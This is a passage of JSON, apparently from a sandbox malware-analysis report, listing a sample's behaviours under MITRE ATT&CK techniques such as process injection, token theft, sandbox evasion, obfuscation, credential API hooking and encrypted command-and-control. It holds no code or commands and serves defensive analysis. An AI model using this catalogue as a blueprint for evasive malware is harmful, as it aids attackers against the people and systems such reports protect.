an API typically used to load a resource in memory"},{"type":"suspicious","value":"Imports suspicious APIs"},{"type":"informative","value":"Contains ability to retrieve address of exported function from a DLL (API string)"},{"type":"informative","value":"Contains ability to retrieve/modify process thread (API string)"},{"type":"informative","value":"Contains ability to create/open files (API string)"},{"type":"informative","value":"Contains ability to load modules (API string)"},{"type":"informative","value":"Contains ability to create a new process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"tactic":"Execution","technique":"Inter-Process Communication","attack_id":"T1559","attack_id_wiki":"https://attack.mitre.org/techniques/T1559","identifiers":[{"type":"informative","value":"Contains ability to create/connect to a named pipe (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"tactic":"Execution","technique":"Service Execution","attack_id":"T1569.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1569/002","identifiers":[{"type":"informative","value":"Contains ability to open a service (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"tactic":"Execution","technique":"Windows Command Shell","attack_id":"T1059.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/003","identifiers":[{"type":"informative","value":"Contains ability to retrieve the command-line string for the current process (API string)"},{"type":"informative","value":"Able to retrieve command line parameters of the running process"}],"sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"tactic":"Execution","technique":"Shared Modules","attack_id":"T1129","attack_id_wiki":"https://attack.mitre.org/techniques/T1129","identifiers":[{"type":"informative","value":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)"},{"type":"informative","value":"Loads modules at runtime"},{"type":"informative","value":"Calls an API typically used to load libraries"},{"type":"informative","value":"Fails to load modules at runtime"},{"type":"informative","value":"Loads the RPC (Remote Procedure Call) module DLL"}],"sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"tactic":"Persistence","technique":"Socket Filters","attack_id":"T1205.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1205/002","identifiers":[{"type":"informative","value":"Able to monitor socket connection"}],"sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"tactic":"Persistence","technique":"Local Account","attack_id":"T1136.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1136/001","identifiers":[{"type":"informative","value":"Contains ability to create a new user account (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"tactic":"Persistence","technique":"Modify Registry","attack_id":"T1112","attack_id_wiki":"https://attack.mitre.org/techniques/T1112","identifiers":[{"type":"informative","value":"Able to delete registry key/value (API string)"},{"type":"suspicious","value":"Modifies Software Policy Settings"},{"type":"informative","value":"Accesses System Certificates Settings"},{"type":"informative","value":"Writes registry keys"},{"type":"informative","value":"Contains ability to modify registry key/value (API string)"},{"type":"informative","value":"Able to create/load registry keys (API string)"},{"type":"informative","value":"Contains ability to disable/close registry key (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"tactic":"Persistence","technique":"Windows Service","attack_id":"T1543.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1543/003","identifiers":[{"type":"informative","value":"Contains ability to access device drivers"},{"type":"informative","value":"Contains ability to create/control drivers (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"tactic":"Persistence","technique":"Create or Modify System Process","attack_id":"T1543","attack_id_wiki":"https://attack.mitre.org/techniques/T1543","identifiers":[{"type":"informative","value":"Contains ability to retrieve the contents of the STARTUPINFO structure (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"tactic":"Privilege Escalation","technique":"Process Injection","attack_id":"T1055","attack_id_wiki":"https://attack.mitre.org/techniques/T1055","identifiers":[{"type":"informative","value":"Found PE header in memory"},{"type":"informative","value":"Able to inject code into another process (API string)"},{"type":"malicious","value":"Windows system process connects to a network"}],"sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"tactic":"Privilege Escalation","technique":"Dynamic-link Library Injection","attack_id":"T1055.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/001","identifiers":[{"type":"informative","value":"Contains ability to load/free library (API string)"},{"type":"informative","value":"Contains ability to retrieve entry point of a process loaded into memory (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"tactic":"Privilege Escalation","technique":"Thread Execution Hijacking","attack_id":"T1055.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/003","identifiers":[{"type":"informative","value":"Creates a thread in a self process"},{"type":"informative","value":"Able to modify thread functionality – possible hijack (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"tactic":"Privilege Escalation","technique":"Token Impersonation/Theft","attack_id":"T1134.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1134/001","identifiers":[{"type":"informative","value":"Contains ability to obtains specified information about the security of a file or directory (API string)"},{"type":"informative","value":"Contains ability to impersonate another user on the local machine (API string)"},{"type":"informative","value":"Contains ability to impersonate access tokens (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"tactic":"Privilege Escalation","technique":"Create Process with Token","attack_id":"T1134.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1134/002","identifiers":[{"type":"informative","value":"Contains ability to create process with token (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"tactic":"Privilege Escalation","technique":"Access Token Manipulation","attack_id":"T1134","attack_id_wiki":"https://attack.mitre.org/techniques/T1134","identifiers":[{"type":"informative","value":"Contains ability to modify access token privileges (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"tactic":"Privilege Escalation","technique":"Thread Local Storage","attack_id":"T1055.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/005","sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"tactic":"Defense Evasion","technique":"Time Based Checks","attack_id":"T1497.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/003","identifiers":[{"type":"informative","value":"Contains ability to delay execution by waiting for signal/timeout (API string)"},{"type":"informative","value":"Contains ability to retrieve the time elapsed since the system was started (API string)"},{"type":"informative","value":"Contains ability to delay the execution of current thread"}],"sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"tactic":"Defense Evasion","technique":"Obfuscated Files or Information","attack_id":"T1027","attack_id_wiki":"https://attack.mitre.org/techniques/T1027","identifiers":[{"type":"informative","value":"Able to utilize the Windows bcrypt cryptographic API"},{"type":"informative","value":"YARA signature match - AES encryption"},{"type":"suspicious","value":"Timestamp in PE header is very old or in the future"},{"type":"suspicious","value":"YARA signature match - ChaCha20 encryption algorithm"},{"type":"informative","value":"Contains CRYPTO related strings"},{"type":"informative","value":"Loads the Bcrypt module DLL"},{"type":"informative","value":"PE file contains zero-sized sections"},{"type":"informative","value":"Contains ability to use Cryptographic classes"},{"type":"informative","value":"Shows ability to obfuscate file or information"},{"type":"informative","value":"Contains ability to perform AES/RC4 encryption (API string)"},{"type":"informative","value":"Possibly references Golang binary related string"},{"type":"informative","value":"Matched Compiler/Packer signature (DIE)"}],"sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"tactic":"Defense Evasion","technique":"File Deletion","attack_id":"T1070.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/004","identifiers":[{"type":"informative","value":"Contains ability to delete files/directories (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"tactic":"Defense Evasion","technique":"Timestomp","attack_id":"T1070.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/006","identifiers":[{"type":"informative","value":"Contains ability to retrieve file time (API string)"},{"type":"informative","value":"Contains ability to set file time (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"tactic":"Defense Evasion","technique":"User Activity Based Checks","attack_id":"T1497.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/002","identifiers":[{"type":"informative","value":"Able to identify virtual environment by using user activity (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"tactic":"Defense Evasion","technique":"File and Directory Permissions Modification","attack_id":"T1222","attack_id_wiki":"https://attack.mitre.org/techniques/T1222","identifiers":[{"type":"informative","value":"Contains ability to modify file attributes (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"tactic":"Defense Evasion","technique":"Disable or Modify Tools","attack_id":"T1562.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1562/001","identifiers":[{"type":"informative","value":"Contains ability to modify process attributes (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"tactic":"Defense Evasion","technique":"Deobfuscate/Decode Files or Information","attack_id":"T1140","attack_id_wiki":"https://attack.mitre.org/techniques/T1140","identifiers":[{"type":"informative","value":"Able to decrypt/decode data"},{"type":"informative","value":"Shows ability to deobfuscate/decode files or information"},{"type":"informative","value":"Contains ability to perform decryption (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"tactic":"Defense Evasion","technique":"Rundll32","attack_id":"T1218.011","attack_id_wiki":"https://attack.mitre.org/techniques/T1218/011","identifiers":[{"type":"informative","value":"Executes a DLL using Rundll32 process"}],"sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"tactic":"Defense Evasion","technique":"Hide Artifacts","attack_id":"T1564","attack_id_wiki":"https://attack.mitre.org/techniques/T1564","identifiers":[{"type":"informative","value":"Spawns Windows crash diagnostic and reporting process"}],"sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"tactic":"Defense Evasion","technique":"Code Signing","attack_id":"T1553.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1553/002","identifiers":[{"type":"informative","value":"The input sample is signed with a certificate"},{"type":"malicious","value":"The input sample is signed with an invalid certificate"}],"sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"tactic":"Defense Evasion","technique":"Encrypted/Encoded File","attack_id":"T1027.013","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/013","identifiers":[{"type":"suspicious","value":"YARA signature match – Anomalous PE file structure"},{"type":"informative","value":"Drops file with high entropy, indicating encryption/obfuscation"}],"sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"tactic":"Defense Evasion","technique":"Junk Code Insertion","attack_id":"T1027.016","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/016","identifiers":[{"type":"suspicious","value":"File exhibits characteristics of junk code obfuscation"}],"sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"tactic":"Defense Evasion","technique":"Software Packing","attack_id":"T1027.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/002","sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"tactic":"Defense Evasion","technique":"Virtualization/Sandbox Evasion","attack_id":"T1497","attack_id_wiki":"https://attack.mitre.org/techniques/T1497","identifiers":[{"type":"informative","value":"The input sample contains the RDTSCP instruction"},{"type":"informative","value":"Attempts to call APIs commonly associated with anti-analysis and evasion techniques"}],"sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"tactic":"Defense Evasion","technique":"Indicator Removal from Tools","attack_id":"T1027.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/005","identifiers":[{"type":"informative","value":"XOR operations in executable file detected"}],"sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"tactic":"Defense Evasion","technique":"Execution Guardrails","attack_id":"T1480","attack_id_wiki":"https://attack.mitre.org/techniques/T1480","identifiers":[{"type":"informative","value":"Shows ability to use execution guardrails"}],"sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"tactic":"Credential Access","technique":"Credential API Hooking","attack_id":"T1056.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1056/004","identifiers":[{"type":"malicious","value":"Hooks file system APIs"},{"type":"malicious","value":"Hooks internet related APIs"},{"type":"suspicious","value":"Hooks API calls"}],"sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"}]},{"tactic":"Discovery","technique":"Process Discovery","attack_id":"T1057","attack_id_wiki":"https://attack.mitre.org/techniques/T1057","identifiers":[{"type":"informative","value":"Queries basic information of the specified process"},{"type":"informative","value":"Spawns new processes that are not known child processes"},{"type":"informative","value":"Process launched with changed environment"},{"type":"suspicious","value":"Calls an API typically used to enumerate process encountered in a system snapshot"},{"type":"informative","value":"Contains ability to determine if process is running under WOW64 (API string)"},{"type":"informative","value":"Spawns new processes"},{"type":"informative","value":"Contains ability to enumerate process and/or its information (API string)"},{"type":"informative","value":"Able to enumerate system processes using native API"},{"type":"informative","value":"Calls an API typically used for taking snapshot of the specified processes"},{"type":"informative","value":"Able to retrieve/open a process (API string)"},{"type":"informative","value":"Queries process information"}],"sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"tactic":"Discovery","technique":"System Information Discovery","attack_id":"T1082","attack_id_wiki":"https://attack.mitre.org/techniques/T1082","identifiers":[{"type":"informative","value":"Reads information about supported languages"},{"type":"informative","value":"Calls an API typically used to retrieve computer name"},{"type":"informative","value":"Able to gather system information (.NET)"},{"type":"informative","value":"Calls an API typically used to get product type"},{"type":"informative","value":"Contains ability to retrieve the host's architecture (API string)"},{"type":"informative","value":"Contains ability to retrieve volume information (API string)"},{"type":"informative","value":"Reads the cryptographic machine GUID"},{"type":"informative","value":"Able to retrieve geographical location information"},{"type":"informative","value":"Contains ability to retrieve a module handle (API string)"},{"type":"informative","value":"Found system command-related strings"},{"type":"informative","value":"Contains reference to mutex-related activity (API string)"},{"type":"informative","value":"Queries volume information"},{"type":"informative","value":"Able to retrieve information about the current system (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve OS information"},{"type":"informative","value":"Attempts to call APIs to gather system and hardware detail"},{"type":"informative","value":"Reads the active computer name"},{"type":"informative","value":"Contains ability to retrieve the OS information (API string)"},{"type":"informative","value":"Able to discover operating system information (API string)"},{"type":"informative","value":"Contains ability to retrieve data about the local computer (API string)"},{"type":"informative","value":"Contains ability to retrieve the NetBIOS name of the local computer (API string)"},{"type":"informative","value":"Calls an API typically used to get system version information"},{"type":"informative","value":"Contains ability to read software policies"}],"sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"tactic":"Discovery","technique":"File and Directory Discovery","attack_id":"T1083","attack_id_wiki":"https://attack.mitre.org/techniques/T1083","identifiers":[{"type":"informative","value":"Able to rename or move file/directory (API string)"},{"type":"informative","value":"Contains ability to enumerate files on disk (API string)"},{"type":"informative","value":"References Windows file paths for DLLs (possible dropped files)"},{"type":"informative","value":"Contains ability to read files (API string)"},{"type":"informative","value":"Touches files"},{"type":"informative","value":"Tries to access non-existent files (non-executable)"},{"type":"informative","value":"Tries to access non-existent files (executable)"},{"type":"informative","value":"Contains ability to retrieve file and directory information (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"tactic":"Discovery","technique":"System Network Configuration Discovery","attack_id":"T1016","attack_id_wiki":"https://attack.mitre.org/techniques/T1016","identifiers":[{"type":"informative","value":"Contains ability to query network adapter information (API string)"},{"type":"informative","value":"Contains ability to free the memory used by network management functions (API string)"},{"type":"informative","value":"Able to determine NetBIOS or DNS name associated with the local computer"},{"type":"informative","value":"Contains ability to retrieve the local name for a socket (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"tactic":"Discovery","technique":"Query Registry","attack_id":"T1012","attack_id_wiki":"https://attack.mitre.org/techniques/T1012","identifiers":[{"type":"informative","value":"Opens registry keys"},{"type":"informative","value":"Queries registry keys"},{"type":"suspicious","value":"Monitors specific registry key for changes"},{"type":"informative","value":"Found registry location strings in memory"},{"type":"informative","value":"Contains registry location strings"},{"type":"informative","value":"Able to query registry keys (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"tactic":"Discovery","technique":"Local Account","attack_id":"T1087.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1087/001","identifiers":[{"type":"informative","value":"Contains ability to retrieve information about user accounts on a server (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"tactic":"Discovery","technique":"System Owner/User Discovery","attack_id":"T1033","attack_id_wiki":"https://attack.mitre.org/techniques/T1033","identifiers":[{"type":"informative","value":"Able to retrieve usernames and/or user information (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"tactic":"Discovery","technique":"System Service Discovery","attack_id":"T1007","attack_id_wiki":"https://attack.mitre.org/techniques/T1007","identifiers":[{"type":"informative","value":"Able to enumerate service (API string)"},{"type":"informative","value":"Able to query service configuration on system (API string)"},{"type":"informative","value":"Queries services related registry keys"}],"sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"tactic":"Discovery","technique":"Account Discovery","attack_id":"T1087","attack_id_wiki":"https://attack.mitre.org/techniques/T1087","identifiers":[{"type":"informative","value":"Contains ability to retrieve SID for the specified name (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"tactic":"Discovery","technique":"System Time Discovery","attack_id":"T1124","attack_id_wiki":"https://attack.mitre.org/techniques/T1124","identifiers":[{"type":"informative","value":"Contains ability to retrieve machine timezone (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"tactic":"Discovery","technique":"Domain Groups","attack_id":"T1069.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1069/002","identifiers":[{"type":"informative","value":"Able to enumerate permission groups in the domain"}],"sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"tactic":"Lateral Movement","technique":"Lateral Tool Transfer","attack_id":"T1570","attack_id_wiki":"https://attack.mitre.org/techniques/T1570","identifiers":[{"type":"informative","value":"Contains ability to move file or directory (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"tactic":"Collection","technique":"Local Data Staging","attack_id":"T1074.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1074/001","identifiers":[{"type":"informative","value":"Calls an API typically used to create a directory"},{"type":"informative","value":"Contains ability to create directories (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"tactic":"Collection","technique":"Automated Collection","attack_id":"T1119","attack_id_wiki":"https://attack.mitre.org/techniques/T1119","identifiers":[{"type":"informative","value":"Shows ability to send encrypted data to the internet"}],"sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"tactic":"Command and Control","technique":"Ingress Tool Transfer","attack_id":"T1105","attack_id_wiki":"https://attack.mitre.org/techniques/T1105","identifiers":[{"type":"informative","value":"Contains ability to write files (API string)"},{"type":"informative","value":"Dropped files"},{"type":"informative","value":"Drops temp files"},{"type":"informative","value":"Drops files with image extension"}],"sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"tactic":"Command and Control","technique":"Application Layer Protocol","attack_id":"T1071","attack_id_wiki":"https://attack.mitre.org/techniques/T1071","identifiers":[{"type":"informative","value":"Contains ability to communicate with network (API string)"},{"type":"informative","value":"Contains references to network communication API (string)"},{"type":"informative","value":"Found potential IP address in binary/memory"},{"type":"informative","value":"Found potential URLs in memory dumps"},{"type":"informative","value":"Contacts server"},{"type":"informative","value":"Found potential URL in binary/memory"}],"sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"tactic":"Command and Control","technique":"Non-Application Layer Protocol","attack_id":"T1095","attack_id_wiki":"https://attack.mitre.org/techniques/T1095","identifiers":[{"type":"informative","value":"Contains ability to communicate with C2 using Sockets (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"tactic":"Command and Control","technique":"Non-Standard Port","attack_id":"T1571","attack_id_wiki":"https://attack.mitre.org/techniques/T1571","identifiers":[{"type":"informative","value":"Contains ability to open a port and listen for incoming connection (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"tactic":"Command and Control","technique":"Encrypted Channel","attack_id":"T1573","attack_id_wiki":"https://attack.mitre.org/techniques/T1573","identifiers":[{"type":"informative","value":"Able to use Microsoft's Enhanced Cryptographic Provider"},{"type":"informative","value":"Uses HTTPS for communication"},{"type":"informative","value":"Makes HTTPS connections using secure TLS/SSL version"},{"type":"informative","value":"Possibly tries to communicate over SSL connection (HTTPS)"}],"sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"tactic":"Command and Control","technique":"Data Encoding","attack_id":"T1132","attack_id_wiki":"https://attack.mitre.org/techniques/T1132","identifiers":[{"type":"informative","value":"Contains ability to perform Base64 encoding/decoding"},{"type":"informative","value":"HTTP requests contain Base64 strings"}],"sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"tactic":"Command and Control","technique":"Symmetric Cryptography","attack_id":"T1573.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/001","identifiers":[{"type":"informative","value":"Shows ability to use encryption for command and control 